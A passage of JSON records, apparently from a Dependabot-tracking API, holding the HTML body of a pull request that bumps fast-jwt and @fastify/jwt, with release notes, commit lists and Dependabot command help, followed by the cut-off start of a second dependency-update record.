notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v3.3.2...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@fastify/jwt` from 8.0.0 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify-jwt/releases\"\u003e\u003ccode\u003e@​fastify/jwt\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.0.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBreaking changes\u003c/h3\u003e\n\u003cp\u003ebuild(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/374\"\u003efastify/fastify-jwt#374\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/releases/tag/v6.0.0\u003c/a\u003e for details on how it might affect you.\u003c/p\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cp\u003echore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/379\"\u003efastify/fastify-jwt#379\u003c/a\u003e)\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003etest: migrate to node test runner by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/370\"\u003efastify/fastify-jwt#370\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/371\"\u003efastify/fastify-jwt#371\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: capture missingRequiredClaim errors and map to 401  by \u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Improve performance by caching verifier (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/360\"\u003efastify/fastify-jwt#360\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(package): add funding and contribs by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/357\"\u003efastify/fastify-jwt#357\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use optional chaining by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/359\"\u003efastify/fastify-jwt#359\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: prefix unused params with underscores by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/361\"\u003efastify/fastify-jwt#361\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(readme): spelling and grammar fixes by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/362\"\u003efastify/fastify-jwt#362\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump fastify/workflows from 5.0.0 to 5.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/349\"\u003efastify/fastify-jwt#349\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update readme to clarify fastify version compatibility by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/350\"\u003efastify/fastify-jwt#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​fastify/cookie\u003c/code\u003e from 10.0.1 to 11.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/351\"\u003efastify/fastify-jwt#351\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Async key provider and errors should be resolved internally -- dynamic JWTs in tests by \u003ca href=\"https://github.com/jmjf\"\u003e\u003ccode\u003e@​jmjf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/338\"\u003efastify/fastify-jwt#338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: remove trailing whitespace by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/352\"\u003efastify/fastify-jwt#352\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/3567a1756198819f8142a961136d403d242f5847\"\u003e\u003ccode\u003e3567a17\u003c/code\u003e\u003c/a\u003e Prepare to release 10.0.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/e7580622518dbf8366b4d8f4c81e6c1e0d41e6db\"\u003e\u003ccode\u003ee758062\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.16.0 to 24.0.10 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/380\"\u003e#380\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/870af5b1477e58ee91ed90b285d95ef7f94de70b\"\u003e\u003ccode\u003e870af5b\u003c/code\u003e\u003c/a\u003e chore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/379\"\u003e#379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/4cbf5a541e3919b9e8ced30ce764095620a6bd78\"\u003e\u003ccode\u003e4cbf5a5\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/375\"\u003e#375\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/89aad693226de097d2e53623678854caedc31cfe\"\u003e\u003ccode\u003e89aad69\u003c/code\u003e\u003c/a\u003e build(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/374\"\u003e#374\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/8932cc9c99aa212fb469f69f5979c5c733f0df1c\"\u003e\u003ccode\u003e8932cc9\u003c/code\u003e\u003c/a\u003e ci: restore job level permissions (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/373\"\u003e#373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/09b5810e6e93a7e119632ed276e460bdf39cda76\"\u003e\u003ccode\u003e09b5810\u003c/code\u003e\u003c/a\u003e ci: set permissions at workflow level (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/372\"\u003e#372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/0811cf5953d1052e1543c7c2c572035dca962c1b\"\u003e\u003ccode\u003e0811cf5\u003c/code\u003e\u003c/a\u003e Bumped v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/523e7521b9b90f91335d9e40c9dd89a0064bfb32\"\u003e\u003ccode\u003e523e752\u003c/code\u003e\u003c/a\u003e fix: capture missingRequiredClaim errors and map to 401  (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/369\"\u003e#369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/2afec0298f85e557c32ecd8c69d6242aeefd9937\"\u003e\u003ccode\u003e2afec02\u003c/code\u003e\u003c/a\u003e perf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/371\"\u003e#371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v8.0.0...v10.0.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~kibertoad\"\u003ekibertoad\u003c/a\u003e, a new releaser for \u003ccode\u003e@​fastify/jwt\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/pull/17","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/DouglasPortoo%2FGymPass-style-app-SOLID-API/issues/17","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/17/packages"}},{"old_version":"2.2.2","new_version":"6.1.0","update_type":"major","path":null,"pr_created_at":"2026-04-02T21:20:39.000Z","version_change":"2.2.2 → 6.1.0","issue":{"uuid":"4197042387","node_id":"PR_kwDOQsw9oM7PrKtG","number":2,"state":"closed","title":"Bump the npm_and_yarn group across 3 directories with 29 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-08T03:59:26.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-02T21:20:39.000Z","updated_at":"2026-04-08T03:59:27.000Z","time_to_close":455927,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":29,"packages":[{"name":"axios","old_version":"1.7.9","new_version":"1.13.5","repository_url":"https://github.com/axios/axios"},{"name":"fast-jwt","old_version":"2.2.2","new_version":"6.1.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"fastify","old_version":"4.23.2","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"qs","old_version":"6.11.0","new_version":"6.14.2","repository_url":"https://github.com/ljharb/qs"},{"name":"ajv","old_version":"8.12.0","new_version":"8.18.0","repository_url":"https://github.com/ajv-validator/ajv"},{"name":"jsonpath","old_version":"1.1.1","new_version":"1.3.0","repository_url":"https://github.com/dchester/jsonpath"},{"name":"liquidjs","o